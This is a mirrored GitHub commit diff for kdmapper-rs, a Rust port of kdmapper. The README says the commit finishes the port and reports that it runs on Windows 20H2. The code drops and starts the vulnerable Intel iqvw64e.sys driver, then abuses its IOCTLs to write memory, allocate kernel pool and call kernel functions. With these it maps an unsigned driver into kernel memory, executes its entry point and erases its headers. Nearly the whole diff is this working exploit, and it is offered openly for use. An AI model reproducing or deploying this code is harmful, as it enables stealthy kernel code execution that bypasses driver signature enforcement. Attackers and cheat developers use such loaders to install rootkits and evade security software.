mirror of
https://github.com/zorftw/kdmapper-rs
synced 2026-06-08 18:40:12 +00:00
Finished porting, code works, more cleanup soon.
This commit is contained in:
@@ -1 +1,2 @@
|
|||||||
/target
|
/target
|
||||||
|
/src/mapper/driver.sys
|
||||||
@@ -16,4 +16,6 @@ winapi = { version = "0.3", features = [
|
|||||||
"winsvc",
|
"winsvc",
|
||||||
"libloaderapi",
|
"libloaderapi",
|
||||||
"ioapiset",
|
"ioapiset",
|
||||||
|
"fileapi",
|
||||||
|
"dbghelp",
|
||||||
] }
|
] }
|
||||||
|
|||||||
@@ -1,8 +1,14 @@
|
|||||||
# kdmapper-rs
|
# kdmapper-rs
|
||||||
Rust port of the popular kdmapper to manually map unloaded drivers in kernel-memory utilizing the vulnerable intel driver
|
Rust port of the popular kdmapper to manually map unloaded drivers in kernel-memory utilizing the vulnerable intel driver
|
||||||
|
|
||||||
|
# where is the driver?
|
||||||
|
I am 100% you have the driver somewhere, considering the fact it is a binary, I couldn't release the source to UC or any other site
|
||||||
|
if the repo contained binaries. So I removed it for that purpose. Note: It's location should be in `src/mapper/` with the name `driver.sys`
|
||||||
|
|
||||||
# warning
|
# warning
|
||||||
Currently still very much in development, I cannot guarantee ANY of this code will work. Good luck :)
|
Currently still very much in development, it runs on Windows 20H2 succesfully
|
||||||
|
|
||||||
|
!image_info[](img/fn.png)
|
||||||
|
|
||||||
# how to compile
|
# how to compile
|
||||||
```
|
```
|
||||||
|
|||||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 7.5 KiB |
+44
-3
@@ -1,11 +1,52 @@
|
|||||||
|
use winapi::{um::{errhandlingapi::GetLastError, handleapi::INVALID_HANDLE_VALUE}};
|
||||||
|
|
||||||
#[cfg(not(windows))]
|
#[cfg(not(windows))]
|
||||||
compile_error!("Can't compile, this is exclusive to Windows.");
|
compile_error!("Can't compile, this is exclusive to Windows.");
|
||||||
|
|
||||||
pub mod util;
|
pub mod mapper;
|
||||||
pub mod nt;
|
pub mod nt;
|
||||||
pub mod service;
|
|
||||||
pub mod pe;
|
pub mod pe;
|
||||||
|
pub mod service;
|
||||||
|
pub mod util;
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
println!("Hello, world!");
|
let service = mapper::load_service("iqvw64e.sys");
|
||||||
|
|
||||||
|
if service.is_null() || service == INVALID_HANDLE_VALUE {
|
||||||
|
unsafe {
|
||||||
|
println!(
|
||||||
|
"Failed to create a handle to the service! Last error code: {}",
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
panic!("See logs for panic!")
|
||||||
|
}
|
||||||
|
|
||||||
|
if mapper::load_image_into_kernel(
|
||||||
|
service,
|
||||||
|
"C:\\Users\\Zor\\source\\repos\\TestDriver\\x64\\Release\\TestDriver.sys".to_string(),
|
||||||
|
) == 0
|
||||||
|
{
|
||||||
|
unsafe {
|
||||||
|
println!(
|
||||||
|
"Failed to load image into kernel! Last error code: {}",
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
panic!("See logs for panic!")
|
||||||
|
}
|
||||||
|
|
||||||
|
println!("Loaded image into kernel!");
|
||||||
|
|
||||||
|
if !mapper::unload_service(service, "iqvw64e.sys\0") {
|
||||||
|
unsafe {
|
||||||
|
println!(
|
||||||
|
"Failed to unload service! Last error code: {}",
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
panic!("See logs for panic!")
|
||||||
|
}
|
||||||
|
|
||||||
|
println!("Unloaded service!");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,305 @@
|
|||||||
|
use core::panic;
|
||||||
|
use std::{intrinsics::transmute};
|
||||||
|
|
||||||
|
use winapi::{
|
||||||
|
shared::{
|
||||||
|
ntdef::NTSTATUS,
|
||||||
|
},
|
||||||
|
um::{
|
||||||
|
errhandlingapi::GetLastError,
|
||||||
|
fileapi::{CreateFileA, OPEN_EXISTING},
|
||||||
|
handleapi::CloseHandle,
|
||||||
|
memoryapi::{VirtualAlloc, VirtualFree},
|
||||||
|
winnt::{
|
||||||
|
FILE_ATTRIBUTE_NORMAL, GENERIC_READ, GENERIC_WRITE, HANDLE, IMAGE_NT_HEADERS, IMAGE_NT_OPTIONAL_HDR64_MAGIC,
|
||||||
|
IMAGE_REL_BASED_DIR64, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_READWRITE, PIMAGE_SECTION_HEADER,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
use crate::{pe, service, util};
|
||||||
|
|
||||||
|
pub fn load_service(name: &str) -> HANDLE {
|
||||||
|
unsafe {
|
||||||
|
let temp_path = util::get_temporary_folder_path();
|
||||||
|
|
||||||
|
let mut driver_path = temp_path.as_os_str().to_os_string();
|
||||||
|
driver_path.push(name);
|
||||||
|
|
||||||
|
// export driver from buffer
|
||||||
|
if !util::create_driver_file(&driver_path.to_str().expect("Couldn't conver to Rust str!").to_string()) {
|
||||||
|
println!(
|
||||||
|
"Failed to create service file... return code: {}",
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
panic!("See last output for more info.");
|
||||||
|
}
|
||||||
|
|
||||||
|
if !util::create_and_start_service(&driver_path.to_str().expect("Couldn't conver to Rust str!").to_string()) {
|
||||||
|
println!(
|
||||||
|
"Failed to create or start service... return code: {}",
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
panic!("See last output for more info.");
|
||||||
|
}
|
||||||
|
|
||||||
|
let res = CreateFileA(
|
||||||
|
"\\\\.\\Nal\0".as_ptr() as _,
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
0,
|
||||||
|
std::ptr::null_mut(),
|
||||||
|
OPEN_EXISTING,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
std::ptr::null_mut(),
|
||||||
|
);
|
||||||
|
|
||||||
|
res
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn unload_service(service: HANDLE, name: &str) -> bool {
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(service);
|
||||||
|
util::delete_and_stop_service(name);
|
||||||
|
|
||||||
|
let path_to_driver = util::get_path_to_driver();
|
||||||
|
|
||||||
|
match std::fs::remove_file(path_to_driver) {
|
||||||
|
Ok(_) => (),
|
||||||
|
Err(e) => println!("Failed to delete driver after unloading... {}", e),
|
||||||
|
}
|
||||||
|
|
||||||
|
true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn relocate_image_by_delta(relocations: Vec<pe::RelocationInfo>, delta: u64) {
|
||||||
|
relocations.iter().for_each(|relocation| {
|
||||||
|
for i in 0..relocation.count {
|
||||||
|
let _type = unsafe { relocation.item.offset(i as isize).read() } >> 12;
|
||||||
|
let offset = unsafe { relocation.item.offset(i as isize).read() } & 0xFFF;
|
||||||
|
|
||||||
|
if _type == IMAGE_REL_BASED_DIR64 {
|
||||||
|
unsafe {
|
||||||
|
*((relocation.address + offset as u64) as *mut u64) += delta;
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn resolve_imports(service: HANDLE, mut imports: Vec<pe::ImportInfo>) -> bool {
|
||||||
|
unsafe {
|
||||||
|
imports.iter_mut().for_each(|import_info| {
|
||||||
|
let current_import_address =
|
||||||
|
util::get_kernel_module_address(import_info.name.to_owned());
|
||||||
|
|
||||||
|
if current_import_address == 0 {
|
||||||
|
println!(
|
||||||
|
"Required module {} was not found! Last error code: {}",
|
||||||
|
import_info.name,
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
panic!("See last logs for panic!");
|
||||||
|
}
|
||||||
|
|
||||||
|
// import_info.function_info.iter_mut().for_each(|function_info| {
|
||||||
|
// let function_address = util::get_kernel_module_export(service, current_import_address as _, &function_info.name);
|
||||||
|
|
||||||
|
// if function_address == 0 {
|
||||||
|
// println!("Failed to resolve import {} from {}! Last error code: {}", function_info.name, import_info.name, GetLastError());
|
||||||
|
// panic!("See last logs for panic!");
|
||||||
|
// }
|
||||||
|
|
||||||
|
// function_info.address = function_address as _;
|
||||||
|
// })
|
||||||
|
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ lol!
|
||||||
|
|
||||||
|
for function_info in &mut import_info.function_info {
|
||||||
|
let function_address = util::get_kernel_module_export(
|
||||||
|
service,
|
||||||
|
current_import_address as _,
|
||||||
|
&function_info.name,
|
||||||
|
);
|
||||||
|
|
||||||
|
if function_address == 0 {
|
||||||
|
println!(
|
||||||
|
"Failed to resolve import {} from {}! Last error code: {}",
|
||||||
|
function_info.name,
|
||||||
|
import_info.name,
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
panic!("See last logs for panic!");
|
||||||
|
}
|
||||||
|
|
||||||
|
function_info.get_address().write(function_address);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
true
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn image_first_section(header: *mut IMAGE_NT_HEADERS) -> PIMAGE_SECTION_HEADER {
|
||||||
|
unsafe {
|
||||||
|
let field_offset =
|
||||||
|
|| (&(*header).OptionalHeader as *const _ as usize - header as usize) as usize;
|
||||||
|
|
||||||
|
((header as usize + field_offset()) + (*header).FileHeader.SizeOfOptionalHeader as usize)
|
||||||
|
as PIMAGE_SECTION_HEADER
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn load_image_into_kernel(service: HANDLE, file: String) -> u64 {
|
||||||
|
unsafe {
|
||||||
|
let mut buffer = Vec::new();
|
||||||
|
|
||||||
|
if !util::read_file_to_memory(&file, &mut buffer) {
|
||||||
|
println!(
|
||||||
|
"Failed to read file to memory! Last error code: {}",
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
panic!("See last logs for panic!");
|
||||||
|
}
|
||||||
|
|
||||||
|
let image_headers = pe::get_nt_headers(buffer.as_mut_ptr());
|
||||||
|
|
||||||
|
if image_headers.is_null() {
|
||||||
|
println!("Invalid image headers! Last error code: {}", GetLastError());
|
||||||
|
panic!("See last logs for panic!");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (*image_headers).OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC {
|
||||||
|
println!("Driver is not 64-bit! Last error code: {}", GetLastError());
|
||||||
|
panic!("See last logs for panic!")
|
||||||
|
}
|
||||||
|
|
||||||
|
let image_size = (*image_headers).OptionalHeader.SizeOfImage;
|
||||||
|
|
||||||
|
if image_size == 0 {
|
||||||
|
println!(
|
||||||
|
"Invalid driver image size! Last error code: {}",
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
panic!("See last logs for panic!")
|
||||||
|
}
|
||||||
|
|
||||||
|
let local_image_memory = VirtualAlloc(
|
||||||
|
std::ptr::null_mut(),
|
||||||
|
image_size as _,
|
||||||
|
MEM_RESERVE | MEM_COMMIT,
|
||||||
|
PAGE_READWRITE,
|
||||||
|
);
|
||||||
|
|
||||||
|
if local_image_memory.is_null() {
|
||||||
|
println!(
|
||||||
|
"Failed to allocate local image memory! Last error code: {}",
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
panic!("See last logs for panic!")
|
||||||
|
}
|
||||||
|
|
||||||
|
println!("Local driver memory allocated at: {:p}", local_image_memory);
|
||||||
|
|
||||||
|
std::ptr::copy(
|
||||||
|
buffer.as_ptr(),
|
||||||
|
local_image_memory as _,
|
||||||
|
(*image_headers).OptionalHeader.SizeOfHeaders as usize,
|
||||||
|
);
|
||||||
|
println!("Copied driver headers into local image memory");
|
||||||
|
|
||||||
|
let current_image_section = image_first_section(image_headers);
|
||||||
|
|
||||||
|
for i in 0..(*image_headers).FileHeader.NumberOfSections {
|
||||||
|
let local_section = (local_image_memory as usize
|
||||||
|
+ (*current_image_section.offset(i as isize)).VirtualAddress as usize)
|
||||||
|
as *mut i8;
|
||||||
|
std::ptr::copy(
|
||||||
|
(buffer.as_ptr() as usize
|
||||||
|
+ (*current_image_section.offset(i as isize)).PointerToRawData as usize)
|
||||||
|
as *const i8,
|
||||||
|
local_section,
|
||||||
|
(*current_image_section.offset(i as isize)).SizeOfRawData as usize,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
println!("Copied image sections into local image memory.");
|
||||||
|
|
||||||
|
let kernel_image_memory = service::allocate_pool(service, 0, image_size as _);
|
||||||
|
|
||||||
|
if kernel_image_memory == 0 {
|
||||||
|
println!(
|
||||||
|
"Failed to allocate kernel image memory! Last error code: {}",
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
panic!("See last logs for panic!")
|
||||||
|
}
|
||||||
|
|
||||||
|
println!(
|
||||||
|
"Kernel image memory allocated at {:p}",
|
||||||
|
kernel_image_memory as *mut i8
|
||||||
|
);
|
||||||
|
|
||||||
|
relocate_image_by_delta(
|
||||||
|
pe::get_relocations(local_image_memory as _).expect("Couldn't get relocations"),
|
||||||
|
kernel_image_memory - (*image_headers).OptionalHeader.ImageBase,
|
||||||
|
);
|
||||||
|
|
||||||
|
let imports = pe::get_imports(local_image_memory as _).expect("Couldn't get imports!");
|
||||||
|
|
||||||
|
if !resolve_imports(service, imports) {
|
||||||
|
println!(
|
||||||
|
"Failed to _resolve_ imports! Last error code: {}",
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
panic!("See last logs for panic!")
|
||||||
|
}
|
||||||
|
|
||||||
|
if !service::write_memory(
|
||||||
|
service,
|
||||||
|
kernel_image_memory,
|
||||||
|
local_image_memory as _,
|
||||||
|
image_size as _,
|
||||||
|
) {
|
||||||
|
println!(
|
||||||
|
"Failed to write local image to kernel image! Last error code: {}",
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
panic!("See last logs for panic!");
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(local_image_memory, 0, MEM_RELEASE);
|
||||||
|
|
||||||
|
let entry_point =
|
||||||
|
kernel_image_memory + (*image_headers).OptionalHeader.AddressOfEntryPoint as u64;
|
||||||
|
println!(
|
||||||
|
"Calling image entry point at {:p}",
|
||||||
|
entry_point as *const i8
|
||||||
|
);
|
||||||
|
|
||||||
|
let mut status: NTSTATUS = 0;
|
||||||
|
|
||||||
|
if !util::call_kernel_fn(
|
||||||
|
service,
|
||||||
|
&mut |entry_point_address| {
|
||||||
|
status = transmute::<*mut usize, unsafe extern "system" fn() -> NTSTATUS>(
|
||||||
|
entry_point_address,
|
||||||
|
)();
|
||||||
|
true
|
||||||
|
},
|
||||||
|
entry_point,
|
||||||
|
) {
|
||||||
|
println!(
|
||||||
|
"Failed to call image entry point! Last error code: {}",
|
||||||
|
GetLastError()
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
service::set_memory(
|
||||||
|
service,
|
||||||
|
kernel_image_memory,
|
||||||
|
0,
|
||||||
|
(*image_headers).OptionalHeader.SizeOfHeaders as _,
|
||||||
|
);
|
||||||
|
return kernel_image_memory;
|
||||||
|
}
|
||||||
|
}
|
||||||
+33
-8
@@ -1,6 +1,13 @@
|
|||||||
use std::intrinsics::transmute;
|
use std::intrinsics::transmute;
|
||||||
|
|
||||||
use winapi::{shared::{minwindef::{FARPROC, ULONG}, ntdef::{HANDLE, NTSTATUS, PVOID, UCHAR, USHORT}}, um::libloaderapi::{GetModuleHandleA, GetProcAddress, LoadLibraryA}};
|
use winapi::{
|
||||||
|
ctypes::c_void,
|
||||||
|
shared::{
|
||||||
|
minwindef::{DWORD, FARPROC, ULONG},
|
||||||
|
ntdef::{HANDLE, NTSTATUS, PULONG, PVOID, UCHAR, USHORT},
|
||||||
|
},
|
||||||
|
um::libloaderapi::{GetModuleHandleA, GetProcAddress, LoadLibraryA},
|
||||||
|
};
|
||||||
|
|
||||||
#[repr(C)]
|
#[repr(C)]
|
||||||
pub struct RtlProcessModuleInformation {
|
pub struct RtlProcessModuleInformation {
|
||||||
@@ -9,7 +16,7 @@ pub struct RtlProcessModuleInformation {
|
|||||||
pub image_base: PVOID,
|
pub image_base: PVOID,
|
||||||
pub image_size: ULONG,
|
pub image_size: ULONG,
|
||||||
pub flags: ULONG,
|
pub flags: ULONG,
|
||||||
pub load_order_index: USHORT,
|
pub load_order_index: USHORT,
|
||||||
pub init_order_index: USHORT,
|
pub init_order_index: USHORT,
|
||||||
pub load_count: USHORT,
|
pub load_count: USHORT,
|
||||||
pub offset_to_file_name: USHORT,
|
pub offset_to_file_name: USHORT,
|
||||||
@@ -24,11 +31,20 @@ pub struct RtlProcessModules {
|
|||||||
|
|
||||||
pub const STATUS_INFO_LENGHT_MISMATCH: u32 = 0xC0000004;
|
pub const STATUS_INFO_LENGHT_MISMATCH: u32 = 0xC0000004;
|
||||||
|
|
||||||
pub fn query_system_information(buffer: &mut usize, size: &mut u64) -> NTSTATUS {
|
pub struct QuerySystemInformationReturnValue {
|
||||||
let mut nt = unsafe { GetModuleHandleA("ntdll.dll".as_ptr() as *const i8) };
|
pub buffer: *mut c_void,
|
||||||
|
pub buffer_size: DWORD,
|
||||||
|
pub result: NTSTATUS,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn query_system_information(
|
||||||
|
buffer: *mut c_void,
|
||||||
|
out_buffer_size: &mut DWORD,
|
||||||
|
) -> QuerySystemInformationReturnValue {
|
||||||
|
let mut nt = unsafe { GetModuleHandleA("ntdll.dll\0".as_ptr() as _) };
|
||||||
|
|
||||||
if nt.is_null() {
|
if nt.is_null() {
|
||||||
nt = unsafe { LoadLibraryA("ntdll.dll".as_ptr() as *const i8) };
|
nt = unsafe { LoadLibraryA("ntdll.dll\0".as_ptr() as _) };
|
||||||
|
|
||||||
if nt.is_null() {
|
if nt.is_null() {
|
||||||
panic!("Couldn't get handle to NTDLL.dll");
|
panic!("Couldn't get handle to NTDLL.dll");
|
||||||
@@ -36,17 +52,26 @@ pub fn query_system_information(buffer: &mut usize, size: &mut u64) -> NTSTATUS
|
|||||||
}
|
}
|
||||||
|
|
||||||
let query_system_info_address =
|
let query_system_info_address =
|
||||||
unsafe { GetProcAddress(nt, "NtQuerySystemInformation".as_ptr() as *const i8) };
|
unsafe { GetProcAddress(nt, "NtQuerySystemInformation\0".as_ptr() as *const i8) };
|
||||||
|
|
||||||
if query_system_info_address.is_null() {
|
if query_system_info_address.is_null() {
|
||||||
panic!("Couldn't find NtQuerySystemInformation");
|
panic!("Couldn't find NtQuerySystemInformation");
|
||||||
}
|
}
|
||||||
|
|
||||||
let query_system_info = unsafe {
|
let query_system_info = unsafe {
|
||||||
transmute::<FARPROC, unsafe extern "system" fn(i32, *mut usize, u64, *const u64) -> NTSTATUS>(
|
transmute::<FARPROC, unsafe extern "system" fn(i32, *mut c_void, ULONG, PULONG) -> NTSTATUS>(
|
||||||
query_system_info_address,
|
query_system_info_address,
|
||||||
)
|
)
|
||||||
};
|
};
|
||||||
|
|
||||||
unsafe { query_system_info(11, buffer as _, *size, size) }
|
let mut buffer_size: DWORD = *out_buffer_size;
|
||||||
|
|
||||||
|
let result = unsafe { query_system_info(11, buffer, buffer_size, &mut buffer_size as *mut _) };
|
||||||
|
*out_buffer_size = buffer_size;
|
||||||
|
|
||||||
|
QuerySystemInformationReturnValue {
|
||||||
|
buffer,
|
||||||
|
buffer_size,
|
||||||
|
result,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+67
-66
@@ -8,26 +8,26 @@ use winapi::um::winnt::{
|
|||||||
|
|
||||||
#[derive(Default)]
|
#[derive(Default)]
|
||||||
pub struct FunctionImportInfo {
|
pub struct FunctionImportInfo {
|
||||||
name: String,
|
pub name: String,
|
||||||
address: usize, // NOTE: apparently a pointer to an adress (so void*)
|
pub address: usize, // NOTE: apparently a pointer to an adress (so void*)
|
||||||
}
|
}
|
||||||
|
|
||||||
impl FunctionImportInfo {
|
impl FunctionImportInfo {
|
||||||
pub fn get_address(&self) -> *const u64 {
|
pub fn get_address(&self) -> *mut u64 {
|
||||||
self.address as _
|
self.address as _
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub struct RelocationInfo {
|
pub struct RelocationInfo {
|
||||||
address: u64,
|
pub address: u64,
|
||||||
item: *const u16,
|
pub item: *const u16,
|
||||||
count: i32,
|
pub count: i32,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Default)]
|
#[derive(Default)]
|
||||||
pub struct ImportInfo {
|
pub struct ImportInfo {
|
||||||
name: String,
|
pub name: String,
|
||||||
function_info: Vec<FunctionImportInfo>,
|
pub function_info: Vec<FunctionImportInfo>,
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn get_nt_headers(base: *mut u8) -> PIMAGE_NT_HEADERS64 {
|
pub fn get_nt_headers(base: *mut u8) -> PIMAGE_NT_HEADERS64 {
|
||||||
@@ -117,66 +117,67 @@ pub fn get_imports(base: *mut u8) -> Option<Vec<ImportInfo>> {
|
|||||||
return None;
|
return None;
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut result = vec![];
|
unsafe {
|
||||||
|
let import_va = (*nt_headers).OptionalHeader.DataDirectory
|
||||||
|
[IMAGE_DIRECTORY_ENTRY_IMPORT as usize]
|
||||||
|
.VirtualAddress;
|
||||||
|
|
||||||
let mut current_import_descriptor = unsafe {
|
if import_va == 0 {
|
||||||
transmute::<usize, PIMAGE_IMPORT_DESCRIPTOR>(
|
return None;
|
||||||
base as usize
|
|
||||||
+ (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT as usize]
|
|
||||||
.VirtualAddress as usize,
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
while unsafe { (*current_import_descriptor).FirstThunk } != 0 {
|
|
||||||
let mut info = ImportInfo::default();
|
|
||||||
|
|
||||||
info.name = unsafe {
|
|
||||||
CStr::from_ptr(transmute::<usize, *const i8>(
|
|
||||||
base as usize + (*current_import_descriptor).Name as usize,
|
|
||||||
))
|
|
||||||
.to_str()
|
|
||||||
.unwrap_or_default()
|
|
||||||
.to_string()
|
|
||||||
};
|
|
||||||
let mut current_first_thunk = unsafe {
|
|
||||||
transmute::<usize, PIMAGE_THUNK_DATA64>(
|
|
||||||
base as usize + (*current_import_descriptor).FirstThunk as usize,
|
|
||||||
)
|
|
||||||
};
|
|
||||||
let mut current_original_first_thunks = unsafe {
|
|
||||||
transmute::<usize, PIMAGE_THUNK_DATA64>(
|
|
||||||
base as usize + *(*current_import_descriptor).u.OriginalFirstThunk() as usize,
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
while unsafe { *(*current_original_first_thunks).u1.Function() != 0 } {
|
|
||||||
|
|
||||||
let mut function_info: FunctionImportInfo = FunctionImportInfo::default();
|
|
||||||
|
|
||||||
let thunk_data = unsafe {
|
|
||||||
transmute::<usize, PIMAGE_IMPORT_BY_NAME>(
|
|
||||||
base as usize + *(*current_original_first_thunks).u1.AddressOfData() as usize,
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
function_info.name = unsafe {
|
|
||||||
CStr::from_ptr((*thunk_data).Name.as_ptr())
|
|
||||||
.to_str()
|
|
||||||
.unwrap_or_default()
|
|
||||||
.to_string()
|
|
||||||
};
|
|
||||||
|
|
||||||
function_info.address = unsafe { &*(*current_first_thunk).u1.Function() } as *const _ as usize;
|
|
||||||
|
|
||||||
info.function_info.push(function_info);
|
|
||||||
|
|
||||||
current_first_thunk = unsafe { current_first_thunk.offset(1) };
|
|
||||||
current_original_first_thunks = unsafe { current_first_thunk.offset(1) };
|
|
||||||
}
|
}
|
||||||
|
|
||||||
result.push(info);
|
let mut vec_imports = Vec::new();
|
||||||
current_import_descriptor = unsafe { current_import_descriptor.offset(1) };
|
|
||||||
}
|
|
||||||
|
|
||||||
Some(result)
|
let mut current_import_descriptor =
|
||||||
|
(base as usize + import_va as usize) as PIMAGE_IMPORT_DESCRIPTOR;
|
||||||
|
|
||||||
|
while (*current_import_descriptor).FirstThunk != 0 {
|
||||||
|
let mut import_info = ImportInfo::default();
|
||||||
|
|
||||||
|
import_info.name = CStr::from_ptr(
|
||||||
|
(base as usize + (*current_import_descriptor).Name as usize) as *const i8,
|
||||||
|
)
|
||||||
|
.to_str()
|
||||||
|
.expect("Couldn't convert to str")
|
||||||
|
.to_string();
|
||||||
|
|
||||||
|
let mut current_first_thunk = (base as usize
|
||||||
|
+ (*current_import_descriptor).FirstThunk as usize)
|
||||||
|
as PIMAGE_THUNK_DATA64;
|
||||||
|
let mut current_original_first_thunk = (base as usize
|
||||||
|
+ *(*current_import_descriptor).u.OriginalFirstThunk() as usize)
|
||||||
|
as PIMAGE_THUNK_DATA64;
|
||||||
|
|
||||||
|
while (*(*current_original_first_thunk).u1.Function()) != 0 {
|
||||||
|
let mut import_function_data = FunctionImportInfo::default();
|
||||||
|
|
||||||
|
let thunk_data = (base as usize
|
||||||
|
+ *(*current_original_first_thunk).u1.AddressOfData() as usize)
|
||||||
|
as PIMAGE_IMPORT_BY_NAME;
|
||||||
|
|
||||||
|
import_function_data.name = CStr::from_ptr((*thunk_data).Name.as_ptr())
|
||||||
|
.to_str()
|
||||||
|
.expect("couldn't convert to str")
|
||||||
|
.to_string();
|
||||||
|
import_function_data.address =
|
||||||
|
(*current_first_thunk).u1.Function_mut() as *mut u64 as usize;
|
||||||
|
|
||||||
|
import_info.function_info.push(import_function_data);
|
||||||
|
|
||||||
|
current_original_first_thunk = (current_original_first_thunk as usize
|
||||||
|
+ std::mem::size_of::<PIMAGE_THUNK_DATA64>())
|
||||||
|
as PIMAGE_THUNK_DATA64;
|
||||||
|
current_first_thunk = (current_first_thunk as usize
|
||||||
|
+ std::mem::size_of::<PIMAGE_THUNK_DATA64>())
|
||||||
|
as PIMAGE_THUNK_DATA64;
|
||||||
|
}
|
||||||
|
|
||||||
|
vec_imports.push(import_info);
|
||||||
|
current_import_descriptor = (current_import_descriptor as usize
|
||||||
|
+ std::mem::size_of::<PIMAGE_IMPORT_DESCRIPTOR>())
|
||||||
|
as PIMAGE_IMPORT_DESCRIPTOR;
|
||||||
|
}
|
||||||
|
|
||||||
|
Some(vec_imports)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+21
-17
@@ -3,7 +3,7 @@ use std::intrinsics::transmute;
|
|||||||
|
|
||||||
use winapi::{
|
use winapi::{
|
||||||
ctypes::c_void,
|
ctypes::c_void,
|
||||||
shared::minwindef::DWORD,
|
shared::{basetsd::SIZE_T, minwindef::DWORD},
|
||||||
um::{ioapiset::DeviceIoControl, winnt::HANDLE},
|
um::{ioapiset::DeviceIoControl, winnt::HANDLE},
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -68,7 +68,7 @@ pub fn copy_memory(service: HANDLE, destination: u64, source: u64, size: u64) ->
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut buffer = CopyMemoryBufferInfo::default();
|
let mut buffer: CopyMemoryBufferInfo = unsafe { core::mem::zeroed() };
|
||||||
buffer.case_number = 0x33;
|
buffer.case_number = 0x33;
|
||||||
buffer.source = source;
|
buffer.source = source;
|
||||||
buffer.destination = destination;
|
buffer.destination = destination;
|
||||||
@@ -206,16 +206,20 @@ pub fn unmap_io_space(service: HANDLE, address: u64, size: u32) -> bool {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn read_memory(service: HANDLE, address: u64, buffer: *mut usize, size: u64) -> bool {
|
pub fn read_memory(service: HANDLE, address: u64, buffer: u64, size: u64) -> bool {
|
||||||
copy_memory(service, buffer as _, address, size)
|
copy_memory(service, buffer, address, size)
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn write_memory(service: HANDLE, address: u64, buffer: *mut usize, size: u64) -> bool {
|
pub fn write_memory(service: HANDLE, address: u64, buffer: u64, size: u64) -> bool {
|
||||||
copy_memory(service, address, buffer as _, size)
|
copy_memory(service, address, buffer, size)
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn force_write_memory(service: HANDLE, address: u64, buffer: *mut usize, size: u32) -> bool {
|
pub fn force_write_memory(service: HANDLE, address: u64, buffer: u64, size: u32) -> bool {
|
||||||
if address == 0 || buffer.is_null() || size == 0 {
|
if address == 0 || buffer == 0 || size == 0 {
|
||||||
|
println!(
|
||||||
|
"requirements not met! {:x} -> {:x} -> {:x}",
|
||||||
|
address, buffer, size
|
||||||
|
);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -223,7 +227,7 @@ pub fn force_write_memory(service: HANDLE, address: u64, buffer: *mut usize, siz
|
|||||||
|
|
||||||
if !get_physical_address(service, address, &mut physical_address) {
|
if !get_physical_address(service, address, &mut physical_address) {
|
||||||
panic!("Failed to translate virtual address!");
|
panic!("Failed to translate virtual address!");
|
||||||
}
|
};
|
||||||
|
|
||||||
let mapped_physical_mem = map_io_space(service, physical_address, size);
|
let mapped_physical_mem = map_io_space(service, physical_address, size);
|
||||||
|
|
||||||
@@ -242,7 +246,7 @@ pub fn force_write_memory(service: HANDLE, address: u64, buffer: *mut usize, siz
|
|||||||
|
|
||||||
type ExAllocatePoolFn = unsafe extern "system" fn(i32, usize) -> *mut usize;
|
type ExAllocatePoolFn = unsafe extern "system" fn(i32, usize) -> *mut usize;
|
||||||
|
|
||||||
pub fn allocate_pool(service: HANDLE, pool_type: i32, size: u64) -> u64 {
|
pub fn allocate_pool(service: HANDLE, pool_type: i32, size: SIZE_T) -> u64 {
|
||||||
if size == 0 {
|
if size == 0 {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
